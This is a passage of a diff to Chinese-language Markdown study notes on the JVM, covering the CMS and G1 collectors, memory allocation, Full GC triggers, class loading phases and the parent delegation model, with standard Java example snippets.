+- 无法处理浮动垃圾，可能出现 Concurrent Mode Failure。浮动垃圾是指并发清除阶段由于用户线程继续运行而产生的垃圾，这部分垃圾只能到下一次 GC 时才能进行回收。由于浮动垃圾的存在，因此需要预留出一部分内存，意味着 CMS 收集不能像其它收集器那样等待老年代快满的时候再回收。如果预留的内存不够存放浮动垃圾，就会出现 Concurrent Mode Failure，这时虚拟机将临时启用 Serial Old 来替代 CMS。
+- 标记 - 清除算法导致的空间碎片，往往出现老年代空间剩余，但无法找到足够大连续空间来分配当前对象，不得不提前触发一次 Full GC。
 
-### 7. G1 收集器
+### 7. G1 收集器
 
-G1（Garbage-First），它是一款面向服务端应用的垃圾收集器，在多 CPU 和大内存的场景下有很好的性能。HotSpot 开发团队赋予它的使命是未来可以替换掉 CMS 收集器。
+G1（Garbage-First），它是一款面向服务端应用的垃圾收集器，在多 CPU 和大内存的场景下有很好的性能。HotSpot 开发团队赋予它的使命是未来可以替换掉 CMS 收集器。
 
-堆被分为新生代和老年代，其它收集器进行收集的范围都是整个新生代或者老年代，而 G1 可以直接对新生代和老年代一起回收。
+堆被分为新生代和老年代，其它收集器进行收集的范围都是整个新生代或者老年代，而 G1 可以直接对新生代和老年代一起回收。
 
-<div align="center"> <img src="pics/4cf711a8-7ab2-4152-b85c-d5c226733807.png" width="600"/> </div><br>
+<img src="index_files/4cf711a8-7ab2-4152-b85c-d5c226733807.png" width="600"/>
 
-G1 把堆划分成多个大小相等的独立区域（Region），新生代和老年代不再物理隔离。
+G1 把堆划分成多个大小相等的独立区域（Region），新生代和老年代不再物理隔离。
 
-<div align="center"> <img src="pics/9bbddeeb-e939-41f0-8e8e-2b1a0aa7e0a7.png" width="600"/> </div><br>
+<img src="index_files/9bbddeeb-e939-41f0-8e8e-2b1a0aa7e0a7.png" width="600"/>
 
-通过引入 Region 的概念，从而将原来的一整块内存空间划分成多个的小空间，使得每个小空间可以单独进行垃圾回收。这种划分方法带来了很大的灵活性，使得可预测的停顿时间模型成为可能。通过记录每个 Region 垃圾回收时间以及回收所获得的空间（这两个值是通过过去回收的经验获得），并维护一个优先列表，每次根据允许的收集时间，优先回收价值最大的 Region。
+通过引入 Region 的概念，从而将原来的一整块内存空间划分成多个的小空间，使得每个小空间可以单独进行垃圾回收。这种划分方法带来了很大的灵活性，使得可预测的停顿时间模型成为可能。通过记录每个 Region 垃圾回收时间以及回收所获得的空间（这两个值是通过过去回收的经验获得），并维护一个优先列表，每次根据允许的收集时间，优先回收价值最大的 Region。
 
-每个 Region 都有一个 Remembered Set，用来记录该 Region 对象的引用对象所在的 Region。通过使用 Remembered Set，在做可达性分析的时候就可以避免全堆扫描。
+每个 Region 都有一个 Remembered Set，用来记录该 Region 对象的引用对象所在的 Region。通过使用 Remembered Set，在做可达性分析的时候就可以避免全堆扫描。
 
-<div align="center"> <img src="pics/f99ee771-c56f-47fb-9148-c0036695b5fe.jpg" width=""/> </div><br>
+<img src="index_files/f99ee771-c56f-47fb-9148-c0036695b5fe.jpg" width=""/>
 
-如果不计算维护 Remembered Set 的操作，G1 收集器的运作大致可划分为以下几个步骤：
+如果不计算维护 Remembered Set 的操作，G1 收集器的运作大致可划分为以下几个步骤：
 
-- 初始标记
-- 并发标记
-- 最终标记：为了修正在并发标记期间因用户程序继续运作而导致标记产生变动的那一部分标记记录，虚拟机将这段时间对象变化记录在线程的 Remembered Set Logs 里面，最终标记阶段需要把 Remembered Set Logs 的数据合并到 Remembered Set 中。这阶段需要停顿线程，但是可并行执行。
-- 筛选回收：首先对各个 Region 中的回收价值和成本进行排序，根据用户所期望的 GC 停顿时间来制定回收计划。此阶段其实也可以做到与用户程序一起并发执行，但是因为只回收一部分 Region，时间是用户可控制的，而且停顿用户线程将大幅度提高收集效率。
+- 初始标记
+- 并发标记
+- 最终标记：为了修正在并发标记期间因用户程序继续运作而导致标记产生变动的那一部分标记记录，虚拟机将这段时间对象变化记录在线程的 Remembered Set Logs 里面，最终标记阶段需要把 Remembered Set Logs 的数据合并到 Remembered Set 中。这阶段需要停顿线程，但是可并行执行。
+- 筛选回收：首先对各个 Region 中的回收价值和成本进行排序，根据用户所期望的 GC 停顿时间来制定回收计划。此阶段其实也可以做到与用户程序一起并发执行，但是因为只回收一部分 Region，时间是用户可控制的，而且停顿用户线程将大幅度提高收集效率。
 
 具备如下特点：
 
-- 空间整合：整体来看是基于“标记 - 整理”算法实现的收集器，从局部（两个 Region 之间）上来看是基于“复制”算法实现的，这意味着运行期间不会产生内存空间碎片。
-- 可预测的停顿：能让使用者明确指定在一个长度为 M 毫秒的时间片段内，消耗在 GC 上的时间不得超过 N 毫秒。
+- 空间整合：整体来看是基于“标记 - 整理”算法实现的收集器，从局部（两个 Region 之间）上来看是基于“复制”算法实现的，这意味着运行期间不会产生内存空间碎片。
+- 可预测的停顿：能让使用者明确指定在一个长度为 M 毫秒的时间片段内，消耗在 GC 上的时间不得超过 N 毫秒。
 
-# 三、内存分配与回收策略
+# 三、内存分配与回收策略
 
-## Minor GC 和 Full GC
+## Minor GC 和 Full GC
 
-- Minor GC：回收新生代上，因为新生代对象存活时间很短，因此 Minor GC 会频繁执行，执行的速度一般也会比较快。
+- Minor GC：回收新生代上，因为新生代对象存活时间很短，因此 Minor GC 会频繁执行，执行的速度一般也会比较快。
 
-- Full GC：回收老年代和新生代，老年代对象其存活时间长，因此 Full GC 很少执行，执行速度会比 Minor GC 慢很多。
+- Full GC：回收老年代和新生代，老年代对象其存活时间长，因此 Full GC 很少执行，执行速度会比 Minor GC 慢很多。
 
-## 内存分配策略
+## 内存分配策略
 
-### 1. 对象优先在 Eden 分配
+### 1. 对象优先在 Eden 分配
 
-大多数情况下，对象在新生代 Eden 区分配，当 Eden 区空间不够时，发起 Minor GC。
+大多数情况下，对象在新生代 Eden 区分配，当 Eden 区空间不够时，发起 Minor GC。
 
-### 2. 大对象直接进入老年代
+### 2. 大对象直接进入老年代
 
 大对象是指需要连续内存空间的对象，最典型的大对象是那种很长的字符串以及数组。
 
 经常出现大对象会提前触发垃圾收集以获取足够的连续空间分配给大对象。
 
--XX:PretenureSizeThreshold，大于此值的对象直接在老年代分配，避免在 Eden 区和 Survivor 区之间的大量内存复制。
+-XX:PretenureSizeThreshold，大于此值的对象直接在老年代分配，避免在 Eden 区和 Survivor 区之间的大量内存复制。
 
-### 3. 长期存活的对象进入老年代
+### 3. 长期存活的对象进入老年代
 
-为对象定义年龄计数器，对象在 Eden 出生并经过 Minor GC 依然存活，将移动到 Survivor 中，年龄就增加 1 岁，增加到一定年龄则移动到老年代中。
+为对象定义年龄计数器，对象在 Eden 出生并经过 Minor GC 依然存活，将移动到 Survivor 中，年龄就增加 1 岁，增加到一定年龄则移动到老年代中。
 
--XX:MaxTenuringThreshold 用来定义年龄的阈值。
+-XX:MaxTenuringThreshold 用来定义年龄的阈值。
 
-### 4. 动态对象年龄判定
+### 4. 动态对象年龄判定
 
-虚拟机并不是永远地要求对象的年龄必须达到 MaxTenuringThreshold 才能晋升老年代，如果在 Survivor 中相同年龄所有对象大小的总和大于 Survivor 空间的一半，则年龄大于或等于该年龄的对象可以直接进入老年代，无需等到 MaxTenuringThreshold 中要求的年龄。
+虚拟机并不是永远地要求对象的年龄必须达到 MaxTenuringThreshold 才能晋升老年代，如果在 Survivor 中相同年龄所有对象大小的总和大于 Survivor 空间的一半，则年龄大于或等于该年龄的对象可以直接进入老年代，无需等到 MaxTenuringThreshold 中要求的年龄。
 
-### 5. 空间分配担保
+### 5. 空间分配担保
 
-在发生 Minor GC 之前，虚拟机先检查老年代最大可用的连续空间是否大于新生代所有对象总空间，如果条件成立的话，那么 Minor GC 可以确认是安全的。
+在发生 Minor GC 之前，虚拟机先检查老年代最大可用的连续空间是否大于新生代所有对象总空间，如果条件成立的话，那么 Minor GC 可以确认是安全的。
 
-如果不成立的话虚拟机会查看 HandlePromotionFailure 设置值是否允许担保失败，如果允许那么就会继续检查老年代最大可用的连续空间是否大于历次晋升到老年代对象的平均大小，如果大于，将尝试着进行一次 Minor GC；如果小于，或者 HandlePromotionFailure 设置不允许冒险，那么就要进行一次 Full GC。
+如果不成立的话虚拟机会查看 HandlePromotionFailure 设置值是否允许担保失败，如果允许那么就会继续检查老年代最大可用的连续空间是否大于历次晋升到老年代对象的平均大小，如果大于，将尝试着进行一次 Minor GC；如果小于，或者 HandlePromotionFailure 设置不允许冒险，那么就要进行一次 Full GC。
 
-## Full GC 的触发条件
+## Full GC 的触发条件
 
-对于 Minor GC，其触发条件非常简单，当 Eden 空间满时，就将触发一次 Minor GC。而 Full GC 则相对复杂，有以下条件：
+对于 Minor GC，其触发条件非常简单，当 Eden 空间满时，就将触发一次 Minor GC。而 Full GC 则相对复杂，有以下条件：
 
-### 1. 调用 System.gc()
+### 1. 调用 System.gc()
 
-只是建议虚拟机执行 Full GC，但是虚拟机不一定真正去执行。不建议使用这种方式，而是让虚拟机管理内存。
+只是建议虚拟机执行 Full GC，但是虚拟机不一定真正去执行。不建议使用这种方式，而是让虚拟机管理内存。
 
-### 2. 老年代空间不足
+### 2. 老年代空间不足
 
 老年代空间不足的常见场景为前文所讲的大对象直接进入老年代、长期存活的对象进入老年代等。
 
-为了避免以上原因引起的 Full GC，应当尽量不要创建过大的对象以及数组。除此之外，可以通过 -Xmn 虚拟机参数调大新生代的大小，让对象尽量在新生代被回收掉，不进入老年代。还可以通过 -XX:MaxTenuringThreshold 调大对象进入老年代的年龄，让对象在新生代多存活一段时间。
+为了避免以上原因引起的 Full GC，应当尽量不要创建过大的对象以及数组。除此之外，可以通过 -Xmn 虚拟机参数调大新生代的大小，让对象尽量在新生代被回收掉，不进入老年代。还可以通过 -XX:MaxTenuringThreshold 调大对象进入老年代的年龄，让对象在新生代多存活一段时间。
 
-### 3. 空间分配担保失败
+### 3. 空间分配担保失败
 
-使用复制算法的 Minor GC 需要老年代的内存空间作担保，如果担保失败会执行一次 Full GC。具体内容请参考上面的第五小节。
+使用复制算法的 Minor GC 需要老年代的内存空间作担保，如果担保失败会执行一次 Full GC。具体内容请参考上面的第五小节。
 
-### 4. JDK 1.7 及以前的永久代空间不足
+### 4. JDK 1.7 及以前的永久代空间不足
 
-在 JDK 1.7 及以前，HotSpot 虚拟机中的方法区是用永久代实现的，永久代中存放的为一些 Class 的信息、常量、静态变量等数据。
+在 JDK 1.7 及以前，HotSpot 虚拟机中的方法区是用永久代实现的，永久代中存放的为一些 Class 的信息、常量、静态变量等数据。
 
-当系统中要加载的类、反射的类和调用的方法较多时，永久代可能会被占满，在未配置为采用 CMS GC 的情况下也会执行 Full GC。如果经过 Full GC 仍然回收不了，那么虚拟机会抛出 java.lang.OutOfMemoryError。
+当系统中要加载的类、反射的类和调用的方法较多时，永久代可能会被占满，在未配置为采用 CMS GC 的情况下也会执行 Full GC。如果经过 Full GC 仍然回收不了，那么虚拟机会抛出 java.lang.OutOfMemoryError。
 
-为避免以上原因引起的 Full GC，可采用的方法为增大永久代空间或转为使用 CMS GC。
+为避免以上原因引起的 Full GC，可采用的方法为增大永久代空间或转为使用 CMS GC。
 
-### 5. Concurrent Mode Failure
+### 5. Concurrent Mode Failure
 
-执行 CMS GC 的过程中同时有对象要放入老年代，而此时老年代空间不足（可能是 GC 过程中浮动垃圾过多导致暂时性的空间不足），便会报 Concurrent Mode Failure 错误，并触发 Full GC。
+执行 CMS GC 的过程中同时有对象要放入老年代，而此时老年代空间不足（可能是 GC 过程中浮动垃圾过多导致暂时性的空间不足），便会报 Concurrent Mode Failure 错误，并触发 Full GC。
 
-# 四、类加载机制
+# 四、类加载机制
 
 类是在运行期间第一次使用时动态加载的，而不是一次性加载。因为如果一次性加载，那么会占用很多的内存。
 
-## 类的生命周期
+## 类的生命周期
 
-<div align="center"> <img src="pics/32b8374a-e822-4720-af0b-c0f485095ea2.jpg" width=""/> </div><br>
+<img src="index_files/32b8374a-e822-4720-af0b-c0f485095ea2.jpg" width=""/>
 
-包括以下 7 个阶段：
+包括以下 7 个阶段：
 
--  **加载（Loading）** 
--  **验证（Verification）** 
--  **准备（Preparation）** 
--  **解析（Resolution）** 
--  **初始化（Initialization）** 
-- 使用（Using）
-- 卸载（Unloading）
+- **加载（Loading）**
+- **验证（Verification）**
+- **准备（Preparation）**
+- **解析（Resolution）**
+- **初始化（Initialization）**
+- 使用（Using）
+- 卸载（Unloading）
 
-## 类加载过程
+## 类加载过程
 
-包含了加载、验证、准备、解析和初始化这 5 个阶段。
+包含了加载、验证、准备、解析和初始化这 5 个阶段。
 
-### 1. 加载
+### 1. 加载
 
 加载是类加载的一个阶段，注意不要混淆。
 
 加载过程完成以下三件事：
 
-- 通过一个类的全限定名来获取定义此类的二进制字节流。
-- 将这个字节流所代表的静态存储结构转化为方法区的运行时存储结构。
-- 在内存中生成一个代表这个类的 Class 对象，作为方法区这个类的各种数据的访问入口。
+- 通过一个类的全限定名来获取定义此类的二进制字节流。
+- 将这个字节流所代表的静态存储结构转化为方法区的运行时存储结构。
+- 在内存中生成一个代表这个类的 Class 对象，作为方法区这个类的各种数据的访问入口。
 
 其中二进制字节流可以从以下方式中获取：
 
-- 从 ZIP 包读取，成为 JAR、EAR、WAR 格式的基础。
-- 从网络中获取，最典型的应用是 Applet。
-- 运行时计算生成，例如动态代理技术，在 java.lang.reflect.Proxy 使用 ProxyGenerator.generateProxyClass 的代理类的二进制字节流。
-- 由其他文件生成，例如由 JSP 文件生成对应的 Class 类。
+- 从 ZIP 包读取，成为 JAR、EAR、WAR 格式的基础。
+- 从网络中获取，最典型的应用是 Applet。
+- 运行时计算生成，例如动态代理技术，在 java.lang.reflect.Proxy 使用 ProxyGenerator.generateProxyClass 的代理类的二进制字节流。
+- 由其他文件生成，例如由 JSP 文件生成对应的 Class 类。
 
-### 2. 验证
+### 2. 验证
 
-确保 Class 文件的字节流中包含的信息符合当前虚拟机的要求，并且不会危害虚拟机自身的安全。
+确保 Class 文件的字节流中包含的信息符合当前虚拟机的要求，并且不会危害虚拟机自身的安全。
 
-### 3. 准备
+### 3. 准备
 
-类变量是被 static 修饰的变量，准备阶段为类变量分配内存并设置初始值，使用的是方法区的内存。
+类变量是被 static 修饰的变量，准备阶段为类变量分配内存并设置初始值，使用的是方法区的内存。
 
 实例变量不会在这阶段分配内存，它将会在对象实例化时随着对象一起分配在堆中。
 
 注意，实例化不是类加载的一个过程，类加载发生在所有实例化操作之前，并且类加载只进行一次，实例化可以进行多次。
 
-初始值一般为 0 值，例如下面的类变量 value 被初始化为 0 而不是 123。
+初始值一般为 0 值，例如下面的类变量 value 被初始化为 0 而不是 123。
 
 ```java
-public static int value = 123;
+public static int value = 123;
 ```
 
-如果类变量是常量，那么会按照表达式来进行初始化，而不是赋值为 0。
+如果类变量是常量，那么会按照表达式来进行初始化，而不是赋值为 0。
 
 ```java
-public static final int value = 123;
+public static final int value = 123;
 ```
 
-### 4. 解析
+### 4. 解析
 
 将常量池的符号引用替换为直接引用的过程。
 
-其中解析过程在某些情况下可以在初始化阶段之后再开始，这是为了支持 Java 的动态绑定。
+其中解析过程在某些情况下可以在初始化阶段之后再开始，这是为了支持 Java 的动态绑定。
 
-### 5. 初始化
+### 5. 初始化
 
-初始化阶段才真正开始执行类中定义的 Java 程序代码。初始化阶段即虚拟机执行类构造器 &lt;clinit>() 方法的过程。在准备阶段，类变量已经赋过一次系统要求的初始值，而在初始化阶段，根据程序员通过程序制定的主观计划去初始化类变量和其它资源。
+初始化阶段才真正开始执行类中定义的 Java 程序代码。初始化阶段即虚拟机执行类构造器 &lt;clinit>() 方法的过程。在准备阶段，类变量已经赋过一次系统要求的初始值，而在初始化阶段，根据程序员通过程序制定的主观计划去初始化类变量和其它资源。
 
-&lt;clinit>() 是由编译器自动收集类中所有类变量的赋值动作和静态语句块中的语句合并产生的，编译器收集的顺序由语句在源文件中出现的顺序决定。特别注意的是，静态语句块只能访问到定义在它之前的类变量，定义在它之后的类变量只能赋值，不能访问。例如以下代码：
+&lt;clinit>() 是由编译器自动收集类中所有类变量的赋值动作和静态语句块中的语句合并产生的，编译器收集的顺序由语句在源文件中出现的顺序决定。特别注意的是，静态语句块只能访问到定义在它之前的类变量，定义在它之后的类变量只能赋值，不能访问。例如以下代码：
 
 ```java
-public class Test {
-    static {
-        i = 0;                // 给变量赋值可以正常编译通过
-        System.out.print(i);  // 这句编译器会提示“非法向前引用”
-    }
-    static int i = 1;
+public class Test {
+    static {
+        i = 0;                // 给变量赋值可以正常编译通过
+        System.out.print(i);  // 这句编译器会提示“非法向前引用”
+    }
+    static int i = 1;
 }
 ```
 
-由于父类的 &lt;clinit>() 方法先执行，也就意味着父类中定义的静态语句块的执行要优先于子类。例如以下代码：
+由于父类的 &lt;clinit>() 方法先执行，也就意味着父类中定义的静态语句块的执行要优先于子类。例如以下代码：
 
 ```java
-static class Parent {
-    public static int A = 1;
-    static {
-        A = 2;
-    }
+static class Parent {
+    public static int A = 1;
+    static {
+        A = 2;
+    }
 }
 
-static class Sub extends Parent {
-    public static int B = A;
+static class Sub extends Parent {
+    public static int B = A;
 }
 
-public static void main(String[] args) {
-     System.out.println(Sub.B);  // 2
+public static void main(String[] args) {
+     System.out.println(Sub.B);  // 2
 }
 ```
 
-接口中不可以使用静态语句块，但仍然有类变量初始化的赋值操作，因此接口与类一样都会生成 &lt;clinit>() 方法。但接口与类不同的是，执行接口的 &lt;clinit>() 方法不需要先执行父接口的 &lt;clinit>() 方法。只有当父接口中定义的变量使用时，父接口才会初始化。另外，接口的实现类在初始化时也一样不会执行接口的 &lt;clinit>() 方法。
+接口中不可以使用静态语句块，但仍然有类变量初始化的赋值操作，因此接口与类一样都会生成 &lt;clinit>() 方法。但接口与类不同的是，执行接口的 &lt;clinit>() 方法不需要先执行父接口的 &lt;clinit>() 方法。只有当父接口中定义的变量使用时，父接口才会初始化。另外，接口的实现类在初始化时也一样不会执行接口的 &lt;clinit>() 方法。
 
-虚拟机会保证一个类的 &lt;clinit>() 方法在多线程环境下被正确的加锁和同步，如果多个线程同时初始化一个类，只会有一个线程执行这个类的 &lt;clinit>() 方法，其它线程都会阻塞等待，直到活动线程执行 &lt;clinit>() 方法完毕。如果在一个类的 &lt;clinit>() 方法中有耗时的操作，就可能造成多个线程阻塞，在实际过程中此种阻塞很隐蔽。
+虚拟机会保证一个类的 &lt;clinit>() 方法在多线程环境下被正确的加锁和同步，如果多个线程同时初始化一个类，只会有一个线程执行这个类的 &lt;clinit>() 方法，其它线程都会阻塞等待，直到活动线程执行 &lt;clinit>() 方法完毕。如果在一个类的 &lt;clinit>() 方法中有耗时的操作，就可能造成多个线程阻塞，在实际过程中此种阻塞很隐蔽。
 
-## 类初始化时机
+## 类初始化时机
 
-### 1. 主动引用
+### 1. 主动引用
 
 虚拟机规范中并没有强制约束何时进行加载，但是规范严格规定了有且只有下列五种情况必须对类进行初始化（加载、验证、准备都会随之发生）：
 
-- 遇到 new、getstatic、putstatic、invokestatic 这四条字节码指令时，如果类没有进行过初始化，则必须先触发其初始化。最常见的生成这 4 条指令的场景是：使用 new 关键字实例化对象的时候；读取或设置一个类的静态字段（被 final 修饰、已在编译期把结果放入常量池的静态字段除外）的时候；以及调用一个类的静态方法的时候。
+- 遇到 new、getstatic、putstatic、invokestatic 这四条字节码指令时，如果类没有进行过初始化，则必须先触发其初始化。最常见的生成这 4 条指令的场景是：使用 new 关键字实例化对象的时候；读取或设置一个类的静态字段（被 final 修饰、已在编译期把结果放入常量池的静态字段除外）的时候；以及调用一个类的静态方法的时候。
 
-- 使用 java.lang.reflect 包的方法对类进行反射调用的时候，如果类没有进行初始化，则需要先触发其初始化。
+- 使用 java.lang.reflect 包的方法对类进行反射调用的时候，如果类没有进行初始化，则需要先触发其初始化。
 
-- 当初始化一个类的时候，如果发现其父类还没有进行过初始化，则需要先触发其父类的初始化。
+- 当初始化一个类的时候，如果发现其父类还没有进行过初始化，则需要先触发其父类的初始化。
 
-- 当虚拟机启动时，用户需要指定一个要执行的主类（包含 main() 方法的那个类），虚拟机会先初始化这个主类；
+- 当虚拟机启动时，用户需要指定一个要执行的主类（包含 main() 方法的那个类），虚拟机会先初始化这个主类；
 
-- 当使用 JDK 1.7 的动态语言支持时，如果一个 java.lang.invoke.MethodHandle 实例最后的解析结果为 REF_getStatic, REF_putStatic, REF_invokeStatic 的方法句柄，并且这个方法句柄所对应的类没有进行过初始化，则需要先触发其初始化；
+- 当使用 JDK 1.7 的动态语言支持时，如果一个 java.lang.invoke.MethodHandle 实例最后的解析结果为 REF_getStatic, REF_putStatic, REF_invokeStatic 的方法句柄，并且这个方法句柄所对应的类没有进行过初始化，则需要先触发其初始化；
 
-### 2. 被动引用
+### 2. 被动引用
 
-以上 5 种场景中的行为称为对一个类进行主动引用。除此之外，所有引用类的方式都不会触发初始化，称为被动引用。被动引用的常见例子包括：
+以上 5 种场景中的行为称为对一个类进行主动引用。除此之外，所有引用类的方式都不会触发初始化，称为被动引用。被动引用的常见例子包括：
 
-- 通过子类引用父类的静态字段，不会导致子类初始化。
+- 通过子类引用父类的静态字段，不会导致子类初始化。
 
 ```java
-System.out.println(SubClass.value);  // value 字段在 SuperClass 中定义
+System.out.println(SubClass.value);  // value 字段在 SuperClass 中定义
 ```
 
-- 通过数组定义来引用类，不会触发此类的初始化。该过程会对数组类进行初始化，数组类是一个由虚拟机自动生成的、直接继承自 Object 的子类，其中包含了数组的属性和方法。
+- 通过数组定义来引用类，不会触发此类的初始化。该过程会对数组类进行初始化，数组类是一个由虚拟机自动生成的、直接继承自 Object 的子类，其中包含了数组的属性和方法。
 
 ```java
-SuperClass[] sca = new SuperClass[10];
+SuperClass[] sca = new SuperClass[10];
 ```
 
-- 常量在编译阶段会存入调用类的常量池中，本质上并没有直接引用到定义常量的类，因此不会触发定义常量的类的初始化。
+- 常量在编译阶段会存入调用类的常量池中，本质上并没有直接引用到定义常量的类，因此不会触发定义常量的类的初始化。
 
 ```java
 System.out.println(ConstClass.HELLOWORLD);
 ```
 
-## 类与类加载器
+## 类与类加载器
 
 两个类相等需要类本身相等，并且使用同一个类加载器进行加载。这是因为每一个类加载器都拥有一个独立的类名称空间。
 
-这里的相等，包括类的 Class 对象的 equals() 方法、isAssignableFrom() 方法、isInstance() 方法的返回结果为 true，也包括使用 instanceof 关键字做对象所属关系判定结果为 true。
+这里的相等，包括类的 Class 对象的 equals() 方法、isAssignableFrom() 方法、isInstance() 方法的返回结果为 true，也包括使用 instanceof 关键字做对象所属关系判定结果为 true。
 
-## 类加载器分类
+## 类加载器分类
 
-从 Java 虚拟机的角度来讲，只存在以下两种不同的类加载器：
+从 Java 虚拟机的角度来讲，只存在以下两种不同的类加载器：
 
-- 启动类加载器（Bootstrap ClassLoader），这个类加载器用 C++ 实现，是虚拟机自身的一部分；
+- 启动类加载器（Bootstrap ClassLoader），这个类加载器用 C++ 实现，是虚拟机自身的一部分；
 
-- 所有其他类的加载器，这些类由 Java 实现，独立于虚拟机外部，并且全都继承自抽象类 java.lang.ClassLoader。
+- 所有其他类的加载器，这些类由 Java 实现，独立于虚拟机外部，并且全都继承自抽象类 java.lang.ClassLoader。
 
-从 Java 开发人员的角度看，类加载器可以划分得更细致一些：
+从 Java 开发人员的角度看，类加载器可以划分得更细致一些：
 
-- 启动类加载器（Bootstrap ClassLoader）此类加载器负责将存放在 &lt;JRE_HOME>\lib 目录中的，或者被 -Xbootclasspath 参数所指定的路径中的，并且是虚拟机识别的（仅按照文件名识别，如 rt.jar，名字不符合的类库即使放在 lib 目录中也不会被加载）类库加载到虚拟机内存中。启动类加载器无法被 Java 程序直接引用，用户在编写自定义类加载器时，如果需要把加载请求委派给启动类加载器，直接使用 null 代替即可。
+- 启动类加载器（Bootstrap ClassLoader）此类加载器负责将存放在 &lt;JRE_HOME>\lib 目录中的，或者被 -Xbootclasspath 参数所指定的路径中的，并且是虚拟机识别的（仅按照文件名识别，如 rt.jar，名字不符合的类库即使放在 lib 目录中也不会被加载）类库加载到虚拟机内存中。启动类加载器无法被 Java 程序直接引用，用户在编写自定义类加载器时，如果需要把加载请求委派给启动类加载器，直接使用 null 代替即可。
 
-- 扩展类加载器（Extension ClassLoader）这个类加载器是由 ExtClassLoader（sun.misc.Launcher$ExtClassLoader）实现的。它负责将 &lt;JAVA_HOME>/lib/ext 或者被 java.ext.dir 系统变量所指定路径中的所有类库加载到内存中，开发者可以直接使用扩展类加载器。
+- 扩展类加载器（Extension ClassLoader）这个类加载器是由 ExtClassLoader（sun.misc.Launcher$ExtClassLoader）实现的。它负责将 &lt;JAVA_HOME>/lib/ext 或者被 java.ext.dir 系统变量所指定路径中的所有类库加载到内存中，开发者可以直接使用扩展类加载器。
 
-- 应用程序类加载器（Application ClassLoader）这个类加载器是由 AppClassLoader（sun.misc.Launcher$AppClassLoader）实现的。由于这个类加载器是 ClassLoader 中的 getSystemClassLoader() 方法的返回值，因此一般称为系统类加载器。它负责加载用户类路径（ClassPath）上所指定的类库，开发者可以直接使用这个类加载器，如果应用程序中没有自定义过自己的类加载器，一般情况下这个就是程序中默认的类加载器。
+- 应用程序类加载器（Application ClassLoader）这个类加载器是由 AppClassLoader（sun.misc.Launcher$AppClassLoader）实现的。由于这个类加载器是 ClassLoader 中的 getSystemClassLoader() 方法的返回值，因此一般称为系统类加载器。它负责加载用户类路径（ClassPath）上所指定的类库，开发者可以直接使用这个类加载器，如果应用程序中没有自定义过自己的类加载器，一般情况下这个就是程序中默认的类加载器。
 
-## 双亲委派模型
+## 双亲委派模型
 
 应用程序都是由三种类加载器相互配合进行加载的，如果有必要，还可以加入自己定义的类加载器。
 
-下图展示的类加载器之间的层次关系，称为类加载器的双亲委派模型（Parents Delegation Model）。该模型要求除了顶层的启动类加载器外，其余的类加载器都应有自己的父类加载器。这里类加载器之间的父子关系一般通过组合（Composition）关系来实现，而不是通过继承（Inheritance）的关系实现。
+下图展示的类加载器之间的层次关系，称为类加载器的双亲委派模型（Parents Delegation Model）。该模型要求除了顶层的启动类加载器外，其余的类加载器都应有自己的父类加载器。这里类加载器之间的父子关系一般通过组合（Composition）关系来实现，而不是通过继承（Inheritance）的关系实现。
 
-<div align="center"> <img src="pics/class_loader_hierarchy.png" width="600"/> </div><br>
+<img src="index_files/class_loader_hierarchy.png" width="600"/>
 
-### 1. 工作过程
+### 1. 工作过程
 
 一个类加载器首先将类加载请求传送到父类加载器，只有当父类加载器无法完成类加载请求时才尝试加载。
 
-### 2. 好处
+### 2. 好处
 
-使得 Java 类随着它的类加载器一起具有一种带有优先级的层次关系，从而使得基础类得到统一。
+使得 Java 类随着它的类加载器一起具有一种带有优先级的层次关系，从而使得基础类得到统一。
 
-例如 java.lang.Object 存放在 rt.jar 中，如果编写另外一个 java.lang.Object 的类并放到 ClassPath 中，程序可以编译通过。由于双亲委派模型的存在，所以在 rt.jar 中的 Object 比在 ClassPath 中的 Object 优先级更高，这是因为 rt.jar 中的 Object 使用的是启动类加载器，而 ClassPath 中的 Object 使用的是应用程序类加载器。rt.jar 中的 Object 优先级更高，那么程序中所有的 Object 都是这个 Object。
+例如 java.lang.Object 存放在 rt.jar 中，如果编写另外一个 java.lang.Object 的类并放到 ClassPath 中，程序可以编译通过。由于双亲委派模型的存在，所以在 rt.jar 中的 Object 比在 ClassPath 中的 Object 优先级更高，这是因为 rt.jar 中的 Object 使用的是启动类加载器，而 ClassPath 中的 Object 使用的是应用程序类加载器。rt.jar 中的 Object 优先级更高，那么程序中所有的 Object 都是这个 Object。
 
-### 3. 实现
+### 3. 实现
 
-以下是抽象类 java.lang.ClassLoader 的代码片段，其中的 loadClass() 方法运行过程如下：先检查类是否已经加载过，如果没有则让父类加载器去加载。当父类加载器加载失败时抛出 ClassNotFoundException，此时尝试自己去加载。
+以下是抽象类 java.lang.ClassLoader 的代码片段，其中的 loadClass() 方法运行过程如下：先检查类是否已经加载过，如果没有则让父类加载器去加载。当父类加载器加载失败时抛出 ClassNotFoundException，此时尝试自己去加载。
 
 ```java
-public abstract class ClassLoader {
-    // The parent class loader for delegation
-    private final ClassLoader parent;
+public abstract class ClassLoader {
+    // The parent class loader for delegation
+    private final ClassLoader parent;
 
-    public Class<?> loadClass(String name) throws ClassNotFoundException {
-        return loadClass(name, false);
-    }
+    public Class<?> loadClass(String name) throws ClassNotFoundException {
+        return loadClass(name, false);
+    }
 
-    protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
-        synchronized (getClassLoadingLock(name)) {
-            // First, check if the class has already been loaded
-            Class<?> c = findLoadedClass(name);
-            if (c == null) {
-                try {
-                    if (parent != null) {
-                        c = parent.loadClass(name, false);
-                    } else {
-                        c = findBootstrapClassOrNull(name);
-                    }
-                } catch (ClassNotFoundException e) {
-                    // ClassNotFoundException thrown if class not found
-                    // from the non-null parent class loader
-                }
+    protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
+        synchronized (getClassLoadingLock(name)) {
+            // First, check if the class has already been loaded
+            Class<?> c = findLoadedClass(name);
+            if (c == null) {
+                try {
+                    if (parent != null) {
+                        c = parent.loadClass(name, false);
+                    } else {
+                        c = findBootstrapClassOrNull(name);
+                    }
+                } catch (ClassNotFoundException e) {
+                    // ClassNotFoundException thrown if class not found
+                    // from the non-null parent class loader
+                }
 
-                if (c == null) {
-                    // If still not found, then invoke findClass in order
-                    // to find the class.
-                    c = findClass(name);
-                }
-            }
-            if (resolve) {
-                resolveClass(c);
-            }
-            return c;
-        }
-    }
+                if (c == null) {
+                    // If still not found, then invoke findClass in order
+                    // to find the class.
+                    c = findClass(name);
+                }
+            }
+            if (resolve) {
+                resolveClass(c);
+            }
+            return c;
+        }
+    }
 
-    protected Class<?> findClass(String name) throws ClassNotFoundException {
-        throw new ClassNotFoundException(name);
-    }
